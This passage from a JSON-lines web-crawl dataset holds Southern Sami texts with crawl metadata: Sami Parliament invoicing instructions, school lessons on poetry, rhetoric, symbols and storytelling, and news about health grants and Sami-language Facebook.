0.9999066591262817}","num_words":121,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ih maehtieh reeknegem seedtedh e-påastesne\nTjoerh reeknegh seedtedh goh elektrovneles reeknege jallh paehpierisnie påastesne.\nElektrovneles reeknegem seedtedh (EHF)\nDigitaliseradimmieprievien mietie akte krïevenasse gaajhkh staateles gïehtelimmieh edtjieh reeknegh jïh kredihtenotah krïevedh EHF-formaatesne. Ålkoelaanten deallahtæjjah edtjieh standaardem PEPPOL BIS nuhtjedh.\nSaemiedigkien elektrovneles reeknegeadresse lea Samiedigkien org.nr: 974760347\nEdtja iktesth dongkijereferansem saarnodh: 1660 + dongkijen initiaalh, v.g.: 1660XXX\nGaskesadth dongkijinie dastegh ih leah referansem åådtjeme.\nMaam tjoerh darjodh gosse leah deallahtæjja jïh edtjh EHF-reeknegem seedtedh?\nBïevnesh EHF:n bïjre DFØ:n nedtesæjrojne: https:\/\/dfo.no\/kundesider\/faktura\/sende-en-faktura-til-en-statlig-virksomhet\nBïevnesh EHF:n bïjre Difin nedtesæjrojne: https:\/\/www.anskaffelser.no\/leverandorer\/slik-moter-du-det-offentliges-krav-til-digitalisering\/faktura-og-kreditnota\nSaemiedigkie lea åestije Ekonomijestuvremen direktoraateste. Maahtah DFØ:m gaskesadtedh jis dov leah gyhtjelassh elektrovneles reeknegen bïjre,\nE-påaste: firstname.lastname@example.org,\nTellefovne: 40767157\nPaehperereeknegem seedtedh\nDastegh datne ih reeknegh EHF-formaatesne seedth daelie, maahtah reeknegem paehpierisnie seedtedh påastesne Saemiedigkien reeknegeadressese:\nSaemiedigkie - Sametinget\nFakturamottak DFØ\nPostboks 4746 Torgarden\n7468 Trondheim\nMïerhkh reeknegem dongkijereferansine!","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/www.saemiedigkie.no\/Saemiedigkien-bijre2\/Reeknegh-Saemiedaegkan","date":"2019-02-24T00:54:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550249569386.95\/warc\/CC-MAIN-20190224003630-20190224025630-00490.warc.gz","language":"sma","language_score":0.9995480776,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.999548077583313}","num_words":125,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelijen åssjeldahkh vihkele mijjese, men guktie maehtebe dejtie guarkedh? Jis mijjieh aejkiem goerehtibie, gåessie tjaelije teekstem tjeeli, maehtebe kaanne tjaelijem buerebe guarkedh.\nGustav Kappfjell\nÅemie Gaebpien Gåsta, Gustav Kappfjell, diktegærjam Gaaltije bæjhkoehti jaepien 1987. Ibie daejrieh gåessie Gåsta diktide tjeeli, men maehtebe sovmedh åemie Gåsta sov diktide tjeeli 1970-låhkosne. Gosse diktem Laevie lohkebe dellie guarkebe tjaelije sov maana-baelien måjhteleminie.\nDikten viehkie-dïrregh\nGïele lea tjaelijen dïrregh. Tjaelije maahta gellie ovmessie gïeleviehkie-dïrregh nuhtjedh gosse teeman bïjre tjaala. Lohkh diktem eensilaakan jïh dle kaanne guarkah mij dikten teema, jïh maam tjaelije sæjhta diktine jiehtedh.\n1. laavenjasse\nLohkh diktem Laevie eensilaakan. MIj dikten teema?\n2. laavenjasse\nTjaelieh åenehks dov mïelem dikten teeman bïjre.\n3. laavenjasse\nMah vihkeles aarvoeh diktesne?\n4. laavenjasse\nSisvege diktesne vuesehte mennie tïjjesne dikte tjaaleme? Buerkesth dov vaestiedassem.","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:192369\/resource:1:192508","date":"2019-03-22T11:27:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202642.32\/warc\/CC-MAIN-20190322094932-20190322120932-00361.warc.gz","language":"sma","language_score":0.9999918938,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999918937683105}","num_words":122,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.049,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie råajvarimmieh dåårje buerebe healsoedïenesjidie saemide\nSaemiedigkie lea dåarjoem vadteme 450.000 kråvnine Saemien healsoedotkemejarngese Uit Nöörjen arktiske universiteetesne Romsesne akten ulmiestuvreme healsoedotkemasse jienebekultuvrelle byjresisnie.\n–Juktie båetijen aejkien daerpiesvoeth dåastodh juktie seammavyörtegs jïh hijven healsoedïenesjh saemien årroejidie gorredidh tjoerebe vielie daejredh guktie lea mijjen healsojne jïh dej healsoedïenesjigujmie mejtie daan biejjien utnebe, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nDåarjoe Saemiedigkeste edtja aktem orre healsoe- jïh jieledetsiehkiegoerehtimmiem aelkedh, SAMINOR 3.\n– Mijjieh libie jearohke dotkemebyjresh mah healsoem saemien årroejidie dotkoeh jïh goerehtellieh hijven mierietsiehkieh utnieh, jïh Saemiedigkie sæjhta daejnie dåarjojne dejnie viehkiehtidh.\nSaemien maanavaarjelimmieviermiem tseegkedh\nGuovdageaidnun tjïelte, maanavaarjelimmiedïenesjisnie lea 500.000 kråvnah dåarjojne åådtjeme juktie saemien maanavaarjelimmieviermiem tseegkedh saemien reeremedajvesne.\n–Saemiedigkie tjoeperde mejtie saemien maanah maanavaarjelimmien hoksen nuelesne sijjen reaktah åadtjoeh goh saemieh. Mijjieh vuejnebe vihkeles öörnegh sjïehteladtedh guktie maanavaarjelimmiedïenesje nåhtose sjædta dejtie saemien maanide. Dan åvteste saemiedigkieraerie dåarjoem vadteme Guovdageaidnun tjïeltese juktie viermiem maanavaarjelæmman tseegkedh saemien tjïeltine, Mikkelsen jeahta.\nHealsoegaavnedimmie saemien voeresidie\nSaemiedigkie aaj dåarjoem vadteme healsoegaavnedæmman saemien voeresidie Oslosne jïh Kárášjohkesne. Dåarjoe 225.000 kråvnine lea vadtasovveme Saemien gåatan Oslosne, jïh dåarjoe 140.000 kråvnine lea vadtasovveme Eisevárluhppu jïjtjevyljehkevoetejarngese Kárášjohkesne.\n–Healsoegaavnedimmieh saemien voeresidie leah vihkeles råajvarimmieh murriedimmien gaavhtan jïh goh heerreden råajvarimmie. Saemien voeresh daarpesjieh gaavnedidh, jïh maahta joekoen vihkeles årrodh staarine jïh dejnie dajvine gusnie ij leah dan gellie saemieh, men aaj dejnie dajvine gusnie saemieh leah jienebelåhkosne, healsoegaavnedimmieh leah vihkeles råajvarimmieh voeresi healsoen gaavhtan, Mikkelsen jeahta.\nSaemien teekste jïh soptsese vaajmoeaelkiejidie\nSaemiedigkie aaj dåarjoem 155.000 kråvnine vadteme sïeltese Definor AS juktie saemien teekstem jïh soptsesem darjodh vaajmoeaelkiejidie.\n–Gosse raessesne maahta eevre vihkeles årrodh maehtedh jïjtse gïelesne govlesadtedh. Saemiedigkie sæjhta viehkiehtidh guktie dïrregh åadtjobe mah maehtieh viehkine mijjese årrodh jis akten faahketji tseahkan båetebe, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/samimag.no\/sma\/content\/saemiedigkieraerie-raajvarimmieh-daarje-buerebe-healsoedienesjidie-saemide","date":"2019-03-26T15:02:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912205534.99\/warc\/CC-MAIN-20190326135436-20190326161436-00417.warc.gz","language":"sma","language_score":0.9999960661,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999960660934448}","num_words":269,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"–Mijjieh buektiehtibie saemien gïelem nænnoestehtedh digitaale veartenisnie\n– Daan mearan mijjieh 70 % Facebookeste jarkoestamme jïh daelie aalka fuahpan sjïdtedh gaajhkem jarkoestidh mij lea aajmene. Daan biejjien gåarede aktem Facebookem veeljedh mij lea noerhtesaemien gïelesne. Gosse dam saemiengïeleldh Facebookem rïhpesth dellie \"logg på\" jïh \"Hva tenker du på?\" jïh vielie lea noerhtesaemien gïelesne. Daate jarkoestimmiebarkoe lea akte jïjtjevyljehke barkoe orreme mijjeste. Jeanatjommes dehtie gïelebarkoste maam manne darjoem lea jïjtjevyljehke barkoe. Mijjieh tjoerebe aelkedh vielie beetnegh dennie digitaale veartenisnie nuhtjedh juktie saemien desnie nænnoestehtedh. Joekoen hijven Saemiedigkie sæjhta dam prioriteradidh, Ánne Márjá Guttorm Graven tjïelkeste.\nDïhte veanhta saemien aktem båetijem aejkiem åtna digitaale veartenisnie, jis dam eensilaakan dorje daelie. Sæjhta aaj stoerre nåhtojne årrodh.\n– Dïhte mij lea hijven gosse dam saemiengïeleldh Facebookem veeljie, lea gosse Facebook saemiengïelesne gihtjie mïsse datne ussjedh. Dellie stoerre nuepie datne jïjtje aalkah saemiengïelesne ussjedidh, jïh datne raaktan dov statusem saemiengïelesne tjaalah. Nov lea gujht naemhtie, jis datne mannem man akt bïjre gihtjh nöörjengïelesne, dellie aaj stoerre nuepie manne nöörjengïelesne vaestedem jïh ij saemiengïelesne.\nGaervies terminologije mij maahta åtnasovvedh\nÁnne Márjá Guttorm Graven lea aaj saemien Scnapchat-kontoen tseegkeme man nomme Snaepmie. Jïh aajkoe lij almetjh skreejrehtidh saemien nuhtjedh digitaale veartenisnie. Dåehkie Snaepmie lea gaajhkide saemide. Fïerhten våhkoen akte orre Snaepmie-utnije, jïh naemhtie mijjieh åadtjobe ovmessie saemiej aarkebiejjiem dåeriedidh.\n– Daate faalenasse lea gaajhkide saemien gïelide. Mijjieh hov sinsitnine gaskesadtebe dennie digitaale veartenisnie, jïh joekoen vihkeles saemiengïeleldh almetjh saemiengïelesne gaskesedtieh. Digitaale veartene varke åvtese jåhta, men mijjieh joe terminologijem utnebe jïh maehtebe dam jeatjah lehkesne aaj nuhtjedh. Mijjieh mah Facebookem jarkoestamme, libie tjoereme orre dïejvesh gaavnehtidh jïh mijjieh libie terminologijine barkeme. Seamma dïejvesh maehtieh åtnasovvedh jeatjah programmine aaj, jeahta.\n– Mijjieh åvtese barkebe\nTeknologeles gïelebyjrese Romsesne, gusnie dovne akte Giellatekno-dåehkie jïh akte Divvun-dåehkie, biejjieladtje barka juktie gorredidh datne maahtah saemiengïelesne tjaeledh daatovrisnie jïh mobijletellefovnesne.\n– Gåarede gujht dan digitaale veartenen mietiemoerem dåeriedidh. Daan biejjien mijjen lea saemien tastatuvre guktie datne maahtah saemiengïelesne tjaeledh. Mijjen leah gïeledïrregh mah buerebe buerebe juhtieh. Aarebi tjoerimh nöörjen tjaeledh guktie mubpieh edtjin dam guarkedh. Daelie gåarede saemiengïelesne tjaeledh jïh ajve maasjinajarkoestimmiem nuhtjedh guktie daaroeh mijjen guarkoeh. Mijjieh soejkesjibie aktem seammalaakan jarkoestimmieprogrammem darjodh dejtie jeatjah saemien gïelide aaj, guktie maehtebe dej saemien gïeli gaskem jarkoestidh, Divvun-prosjekten barkije Børre Gaup tjïelkeste.\n– Krïevh vielie Facebookeste\nDïhte gellie nuepieh vuajna guktie maahta saemien lutnjedh seammalaakan goh vuesiehtimmien gaavhtan nöörjen. Gaup jeahta jïjnje lea jearohke utniejistie. Daan biejjien fer vaenie saemiengïeleldh almetjh saemiengïelesne tjaelieh, gosse vuesiehtimmien gaavhtan sov statusem orrestehtieh Facebookesne. Naemhtie Facebook ij naan fåantoem vuejnieh \"jarkoestimmiebåalam\" saemiengïeleste nöörjengïelese prioriteradidh.\n– Daamtaj geerve sosijaale meedijesïelth birredh sisvegem lissiehtidh mestie ij dïenestem utnieh, men utnijh nuepiem utnieh jarkoestimmieprogrammh krïevedh jallh jarkoestimmieprogrammi bïjre birredh. Jïh gosse jïjnje saemiengïelesne tjaalasåvva dellie aaj vielie daerpies sjædta jarkoestimmine.\n–Tjuara aaj ööhpehtimmiem prioriteradidh.\nDaan jaepien EN:n aalkoealmetjegïelejaepie jïh Saemiedigkie sæjhta dam digitaale gïelem prioriteradidh. Gaup jeahta daate eevre iemie.\n– Daan biejjien doh jeanatjommesh dan digitaale veartenen tjirrh gaskesedtieh jïh dellie aaj iemie Saemiedigkie pryövoe dam prioriteradidh. Seamma tïjjen vihkeles ööhpehtimmiem prioriteradidh, juktie mijjieh hov saemiengïeleldh utnijh daarpesjibie, Gaup jeahta.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/samimag.no\/se\/node\/1181","date":"2019-03-26T14:19:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912205534.99\/warc\/CC-MAIN-20190326135436-20190326161436-00465.warc.gz","language":"sma","language_score":1.0000013113,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.000001311302185}","num_words":489,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïhte klassiske håaleme-disposisjovne hijvenlaakan sjeahta dejtie tsiehkide gusnie tjoerebe ryöktesth jïh ræhpas mijjen mïelen åvteste argumenteradidh. Voestegh aamhtesem jallh dåeriesmoerem buerkiestibie, dan mænngan argumenteradibie mijjen vuajnoen åvteste.\nKlassiske håaleme-disposisjovne\nDïhte klassiske håaleme-disposisjovne hijvenlaakan sjeahta dejtie tsiehkide gusnie tjoerebe ryöktesth jïh ræhpas mijjen mïelen åvteste argumenteradidh, vuesiehtimmien gaavhtan aktene politihkeles digkiedimmesne. Voestegh aamhtesem jallh dåeriesmoerem buerkiestibie, dan mænngan argumenteradibie mijjen vuajnoen åvteste. Daennie såarhts håalemisnie gujht argumentasjovne stööremes sijjiem åådtje. Aaj feeste-håaleme edtja jaehkiehtidh. Man åvteste tjïelten åejvie byöroe garmerdimmiem åadtjodh? Man åvteste dan aelhkie reakeds-maanam iehtsedh? Feeste-taale lea dan såarhts gyhtjelassi bïjre. Dan åvteste maehtebe dam klassiske håaleme-disposisjovnem aaj feeste-håalemisnie nuhtjedh, tjoerebe ajve dam ånnetji tseahkan sjïehtedidh.\n- Aalkoe (exordium)\n- Aamhtese-buerkiestimmie, soptsese (narratio)\n- Argumentasjovne (argumentatio)\n- Galhkuve (peroratio) \"Argumentasjovne geehpes\"\nÅejvie-leavloe narratiose\nGuessieh aktene hïejesne, skyllemisnie jallh reakeds-sïelskesne maaje ohtje itjmiesvoetem sijhtieh, men uvtemes sjollehtimmiem. Dah joe sïemes reakeds-maana, provrese jallh skyllije-maana lea akte åajvoeh almetje – nov gujht raaktan dan åvteste dah leah feestese båateme!\nFeeste-håalemen sisvege lea dan åvteste uvtemes narratio, soptsese: Maam reaked-smaana dorjeme daan mearan jieliedisnie? Guktie dïhte læhkoes provkome sov iehtseles gaavnedi? Mah murreds smaave soptsesh vuesiehtieh skyllije-maana akte mavvas jïh vijsies noere?\nAkte håaleme nasjovnese\nDatne vielie goh ajve ånnetji heartoeh daarpesjh jis edtjh håaledh dïsse maam eahtsah mearan abpe Nöörje datnem vuartesje! Kronprinse Haakon sov laavenjassem joekoen hijvenlaakan buektiehti gosse sov Mette-Maritine pruvri jaepien 2001. Nov lij gujht hijven dïhte lij vaane byjjes tsiehkine håaledh jïh årrodh.\nVuesiehtimmie goh argumeente\nMen jalhts histovrijh uvtemes edtjieh sjollehtidh, dah aaj fungeradieh – ovryöktesth – goh argumeenth. Dah leah tjïelke vuesiehtimmieh gaajhkide dejtie hijven jïjtsevoetide mijjieh almetjasse bïejebe, maam sïjhtebe earoehtidh. Dan åvteste maehtebe aaj jiehtedh feeste-håaleme akte argumentereeden teekste, argumentasjovne ajve hammoem åådtjeme mij tseahkan sjeahta.\nByjjes krïevenassh feeste-håalemasse\nFeeste-håalemidie såemies byjjes njoelkedassh gååvnesieh. Vuesiehtimmien gaavhtan dle iktesth sjeahta håalemem aelkedh aktine heelseginie. Doh vihkielommes guessieh nommine jallh tihtelinie neebnebe, jïh dïhte man vööste håaleme lea stuvreme, minngemes neebnebe. Feeste-håaleme aaj aktine jovkes-gaerine provresine jallh heevehtæjjine orrije, jallh gulmh golme hurra.\nRetorihkeKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181662\/topic:1:182394\/resource:1:181596","date":"2019-04-19T17:30:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00424.warc.gz","language":"sma","language_score":0.9999842644,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999842643737793}","num_words":321,"character_repetition_ratio":0.072,"word_repetition_ratio":0.058,"special_characters_ratio":0.143,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fïerhten biejjien datne gyhtjelassh åadtjoeh mah krievieh datne tjoerh dov vuajnoem tjïelkestidh. Dellie tjoerh dov vuajnoem jeatjabidie buerkiestidh. Datne tjoerh buerkiestidh man åvteste dov lea reaktoe jallh man åvteste datne ussjedh guktie darjoeh.\nGuktie dellie hijvenlaakan argumenteradidh?\nAarebi idtjin advokaath gååvnesh. Dellie almetjh jïjtjh tjoerin åeliedæjjine jallh joejtehtæjjine årrodh. Dah tjoerin jïjtjh sijjen saaki bïjre tjïelkestidh ussjedammes jïh eensilaakan. Baakoe retorihke lea \"guktie jaehkiehtidh\". Håaloje tjuara eensilaakan teemam maehtedh jïh damtedh. Tjuara aaj daejredh gïese edtja soptsestidh. Dan mænngan vihkeles håalemem veele soejkesjidh juktie daajrah man bïjre edtjh soptsestidh, jïh guktie.\nGolme boelhkh\nRetorihke maehtebe golme boelhkide juekedh\n- Retorihke åtnoe: dam maam manne tjaalam jeahtam jallh dam maam datne tjaalah jeahtah\n- Retorihke teorije: learoe retorihken bïjre. Guktie mijjieh retorihkem nuhtjebe juktie jeatjabidie jaehkiehtidh\n- Retorihke analyse: guktie dotkije retorihkem analyserede maam mijjieh nuhtjeme\nRetorihkeKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181662\/topic:1:182394","date":"2019-04-25T22:37:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578742415.81\/warc\/CC-MAIN-20190425213812-20190425235812-00010.warc.gz","language":"sma","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000067949295044}","num_words":133,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Symbolh leah væhtah vuesiehtimmien gaavhtan matematihke symbolh, bokstaavh, tsïeglh, saevegh, væhtah gievresne jnv. Symbole lea gellien aejkien maam akt maam maehtebe vuejnedh, jallh akte gïeleldh guvvie.\nMaam symbole mijjese soptseste, kultuvride jearohks. Dïhte gie ij saevegem aerebi vuajneme, maahta ussjedidh gosse saemien saevegem vuajna, saevege lea tyjjebæhta mij ovmessie klaeriejgujmie rïeseme. Mijjieh tjoerebe lïeredh maam saevege mijjese soptseste, seammalaakan guktie tjoerebe bokstaavh jïh taallh lïeredh.\nMaam symbolh soptsestieh\nGosse mijjieh lïereme maam symbolh mijjese soptsestieh dellie aelhkie dejtie guarkedh. Mijjieh aaj maehtebe ektiedimmiem guarkedh symboli jïh symboli mïelen gaskem. Vuesiehtimmien gaavhtan maehtebe guarkedh man åvteste raeffien symbole lea duvvege jïh ij aarhtse. Jallh dåajvoen symbole lea aangkere. Jïh boenge-skuvmesne dellie bielie-gievlie biejjien symbole. Saemien saevegisnie dellie biejjie-symbole lea dïhte rööpses bielie-gievlie jïh aske-symbovle lea plaave bielie-gievlie.\nLidteræære symbolh\nTjaelije maahta jïjtje symbolh tjaalegisnie skaepiedidh. Symbolh tjaalegisnie mijjieh litteræære symboline gåhtjobe. Litteræære symbolh maehtieh årrodh aath, heannadimmieh jallh mij akt mij jæjhta, mah lissine sijhtieh maam akt mijjese soptsestidh. Vuelesne Gaavalohke, desnie åejvie-symbole gaavalohke. Men jis gie akt, gie ij saemie, vueliem lohkh kaanne ij dïhte guarkah gaavalohke lea dïhte symbole. Dan åvteste ovmessie kultuvrine ovmessie symbolh gååvnesieh.\nSaemien tjaelijh daamhtah johkh jïh eatnemem symboline nuhtjeme gosse tjaelieminie. Dagke dellie saemien kultuvren jïh jielemen symbole lea johke? Dagke Ella Holm Bull johkem symboline nuhtjeme gærjesne Ovmessie darjomes gosse gærja diktigujmie johken bïjre aalka jïh orreje.\nVuesiehtimmie\nJ.R.R. Tolkien golme gærjah tjaaleme mej nommh Ringenes Herre (Soermesi hïerre). Gærjine åejvie-almetje Frodo soermesem jiekeste åådtje. Ij soermese leah sïejhme, men joekoen sjïere soermese. Soermese jïjsevoeth åtna juktie dïhte guhte soermesem eekie maahta jeatjabidie reeredh. Bahhas fyrste Sauron lea soermesem skaepiedamme, jïh Frodo maahta ajve soermesem nuhtjedh jis edtja bahhasvoetem dïenesjidh. Jis Sauron soermesem vihth bååstede åådtje dellie maahta abpe veartenem reeredh. Juktie dam heerrehtidh Frodo edtja soermesem meatan vaeltedh Mordorese, Saurons rijhkese, jïh soermesem vulkanese Ildberget hajkedh. Ajve naemhtie dah maehtieh soermesem jamhkelidh.\nMen soermese maahta almetjem reeredh. Dïhte guhte soermesem guadta soermesistie reeresåvva jïh gaajhkesh mah geatskanieh. Dellie dah domtoeh, sijhtieh reeredh faamoen gaavhtan jïh bahha sjidtieh. Frodo guhte boerehke ij dïhte gænnah soermesen faamoem tööllh.\nMinngemes dah åajsoeh soermesem jamhkelidh. Frodo vaaran Ildberget jaksa, men ij maehtieh soermesem soermeste vaeltedh jïh vulkanese hajkedh. Gollum, guhte aerebe soermesem guadteme, Frodoem laara dan åvteste soermesem sæjhta. Gollum Frodoen soermem gorve. Naemhtie Gollum soermesem åådtje men gosse håatjeminie dellie njahpeste vualkanese gahtja. Dellie soermesen jïjtjedh bahhas faamoe soermesem jamhkelamme, jïh Sauron sov faamoem dassa.\nFunksjovne\nGaajhke mij gærjesne Ringenes Herre heannede, soermesinie veadtaldahkesne. Soermese konkreete funksjovnem tjaalegisnie åtna. Soermese dellie aate maam almetjh tjuerieh jamhkelidh goerpem heerredidh. Dïsse lissine soermese lea gïehtjelimmien symbole mij lea faamoen sisnie. Almetjh maehtieh faamoe-domtesem geeruve-daalhkesinie nuhtjedh guktie jeatjah geeruve-daalhkesh. Geeruve-daalhkese dåeriesmoerh skaepede dïsse mïsse dam nuhtjie jïh aaj maahta almetjen dåemiedimmieh jeatjahtehtedh. Gosse gie akt ajve faamoem sæjhta, dellie ij vielie joekehtsi bïjre buerievoeten jïh bahhasvoeten gaskem pryjjh.\nBaakoeh\nSaemien\nDaaroen\ngeeruve-daalhkesh\nrusmiddel\nAllegorijeKjernestoff\nAllusjovneKjernestoff\nEufemisme jïh dysfemismeKjernestoff\nSealoedimmieKjernestoff\nLaejhtehkeKjernestoff\nRijme jïh jievkehtimmieKjernestoff\nMubpesth jiehtedhKjernestoff\nKontrasteKjernestoff\nMetonymijeKjernestoff\nPersonifikasjovneKjernestoff\nViertiestimmie, metafovre jïh klisjeKjernestoff\n- Kjernestoff\nLaavenjassh: AllegorijeKjernestoff\nLaavenjassh: Eufemisme jïh dysfemismeKjernestoff\nLaavenjassh: SealoedimmieKjernestoff\nLaavenjassh: KontrasteKjernestoff\nLaavenjassh: Mubpesth jiehtedhKjernestoff\nLaavenjassh: PersonifikasjovneKjernestoff\nLaavenjassh: SymbolhKjernestoff\nMan jïjnjem maahtah?Kjernestoff\nMaam maahtah?Kjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:166611\/topic:1:182229\/resource:1:165934","date":"2019-04-22T03:05:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578533774.1\/warc\/CC-MAIN-20190422015736-20190422041736-00200.warc.gz","language":"sma","language_score":0.9999877214,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9999877214431763}","num_words":517,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vuartesjh jïh goltelh videoem jïh ussjedh maam Katarina sæjhta dutnjien dejnie laavloeminie jiehtedh. Katarina lea soptsestæjja jïh soptsesem mijjese joejke- jallh laavlome-hammojne soptseste. Musihken mietie dan dïjre tjïelkebe jïh tjarkebe sjædta. Daate dan soptsestimmie-vuekie.\nMannasinie mijjieh soptsestibie?\nSoptsesh leah vihkeles gaajhkine kultuvrine. Dah histovrijem guedtieh, jïh kultuvren åålmegi jïjtse-domtoem jïh jïjtse-goerkesem jååhkesjieh jïh orrestieh. Maehtebe jiehtedh dïhte almetjivoetese govlesåvva. Mijjen jielemh leah goh soptsese, mij aalka, jåarhka jïh orreje. Mijjieh almetjh goerkesem jïh ektiedimmiem jieliemisnie ohtsedibie. Dah soptsesh mijjese vierhtieh jïh ektiedimmieh vedtieh, mej mietie mijjieh maehtebe mijjen jieliemidie öörnedh.\nGellie ovmessie soptsesh gååvnesieh. Soptsesen væhtah leah:\n- dan mietie ov-vaantoem åehpiedehtebe\n- dan mietie vielie bïevnesh ov-vaantoen bïjre åadtjobe\n- dan mietie ov-vaantoem luetieh\n- dan mietie soptsesen moraale vååjnesasse båata\nDïhte mij vihkielommes soptsesisnie lea dïhte ov-vaantoe, dåeriesmoere maam tjuara loetedh. Gosse dellie soptsesth dellie soptsese gieltegåbpoe sjædta jïh dam maahtah buektedh dej vuekiejgujmie:\n- Tjaatsestimmie, dellie tjaelije maahta tjuvtjiedidh maam soptsesisnie båata.\n- Soptsesem vijriedidh jïh guhkiedidh. Dellie soptsese gieltegåbpoe sjædta jïh tjaelije sæjhta daam domtesem utnedh. Tjaelije maahta dam darjodh jis maam akt buerkeste jallh heannadimmiej bïjre soptseste mah soptsese guhkede.\n- Ov-tjïelkes tsiehkiem utnedh. Jis ij lohkije daejrieh mij heannadi, mij heannede jallh edtja heannadidh, dellie gieltegs sjædta. Dam maam lohkebe saatnan jallh nïekedamme? Gïeh leah gïemhpe, jïh gïeh eah leah gïemhpe?\n- Tjaelije maahta aaj målsodh man varke soptseste. Tjaelije maahta lohkijem stuvredh guktie lohkije dååjroe, soptsese varke jallh sööjmebe jåhta. Guhkies raajese dellie ij dan varke juhtieh, men åenehks raajesigujmie dellie soptsese varkebe jåhta.\nBaakoeh\n|Saemien||Daaroen|\n|jïjtse-domtoe||identitet|\n|jïjtse-goerkese||selvforståelse|\n|almetjivoete||menneskelighet|\n|ov-vaantoe||uenighet, konflikt|\n|loeteme||løsning|\n|loevenidh||å løse|\n|tjaatsestimmie||frampek|\n|tsiehkie||situasjon|\nNovellam lohkedh jïh guarkedhKjernestoff\nMov aahkan gåetie jïjnjh tjïehtjelhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182064\/topic:1:179686\/resource:1:171134","date":"2019-04-22T14:53:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00474.warc.gz","language":"sma","language_score":1.0,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0}","num_words":264,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Almetjh leah iktegisth soptsestamme. Naan aejkien leah saatnan såårneme jïh naan aejkien dah vaajestamme. Saemiej jïjnjh soptsesh mejtie aejkien mietie leah soptsestamme boelveste boelvese. Gosse soptsesem gaavnehti mij raakte saatnan dellie lea tjiehpies-lidteratuvre.\nTjiehpies-lidteratuvre\nTjiehpies-lidteratuvre lea tjaalege man sisvege lea såårneme jallh vaajestamme. Mijjieh maehtebe tjiehpies-lidteratuvren tjaalegh fiksjovne-tjaaleginie gohtjedh. Baakoe fiksjovne latijnen gïeleste \"fictio\" båata, mij lea soptsestidh, gaavnehtidh jallh saarnodh maam akt mij raakte saatnan. Tjiehpies-lidteratuvren tjaalegh maam akt ov-ryöktesth saarnoeh saetniesvoeten bïjre. Gosse lohkije maam akt låhka mij hæhtadamme, dellie dïhte maahta maam akt lïeredh dan veartenen bïjre gusnie dïhte jïjtje jeala.\nMijjieh maehtebe tjiehpies-lidteratuvrem golme åejvie-sjangeridie juekedh: 